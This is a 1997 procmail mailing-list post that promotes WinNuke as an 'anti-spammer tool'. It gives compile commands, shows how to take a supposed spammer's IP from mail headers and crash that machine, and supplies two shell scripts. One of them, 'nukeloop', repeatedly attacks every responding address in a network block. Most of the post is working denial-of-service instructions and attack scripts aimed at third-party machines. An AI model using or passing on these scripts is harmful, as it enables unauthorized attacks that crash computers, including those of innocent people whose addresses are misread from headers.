procmail
[Top] [All Lists]

Anti-Spammer Tool

1997-06-04 01:41:00
How to use WinNuke to get rid of spammers


winnuke.c is a program which will crash any Windows 95/NT machine. 
Since this operating system is popular among spammers, winnuke makes it easy
to get rid of them.

Compile winnuke.c it by typing:
     gcc winnuke.c -o winnuke
If you have SunOS, you may need to use this command instead:
     gcc winnuke.c -lsocket -lnsl -o winnuke

You should now have an executable program called winnuke in your directory.
Now find the spammer's IP number.  This is the first IP number in the mail
headers which is not your mail server or mail relay.  Once you have the
spammer's IP number (eg 192.168.12.109) type: ./winnuke 192.168.12.109
except use the spammer's real IP number that you found.  You should see
something like the following:

% ./winnuke 192.168.12.109
Connected to [192.168.12.109:139].
Sending crash... Done!
% 

Congratulations!  You just nuked a spammer!  Give yourself a pat on the
back.  You can ping the IP address to verify that it is actually down.

If it doesn't work...
Unfortunately a few spammers don't have just one IP address but a whole
block (255 addresses)  In this case you will need to nuke the entire
block.
To do this, use the nukeloop script.


#!/bin/sh
#
# nuke -        If pingable, then winnuke.
#

cd /usr/src/winnuke

ip=$1

if [ "$ip" = "" ]; then
  echo "Usage: nuke <ip-address>"
fi

failed=0
ping -c 1 $ip 2>/dev/null | grep "^64 bytes" >/dev/null || failed=1
if [ $failed = 1 ]; then
  echo Already down
else
  ./winnuke $ip
fi




#!/bin/sh
#
# nukeloop -    Nuke a network from lo-addr through hi-addr
#

network=$1
if [ "$2" = "" ]; then
  loaddr=1
else
  loaddr=$2
fi
if [ "$3" = "" ]; then
  hiaddr=254
else
  hiaddr=$3
fi

if [ "$network" = "" ]; then
  echo "Usage: nukeloop <network> <lo-addr> <hi-addr>"
fi

while [ 1 ]; do
  number=$loaddr
  while [ $number -le $hiaddr ]; do
#    echo $number
    number=$[ $number + 1 ]
    ip=$network.$number
    failed=0
    ping -c 1 $ip 2>/dev/null | grep "^64 bytes" >/dev/null || failed=1
    if [ $failed = 0 ]; then
      ./winnuke $network.$number >/dev/null 2>/dev/null &
    fi
  done
done

<Prev in Thread] Current Thread [Next in Thread>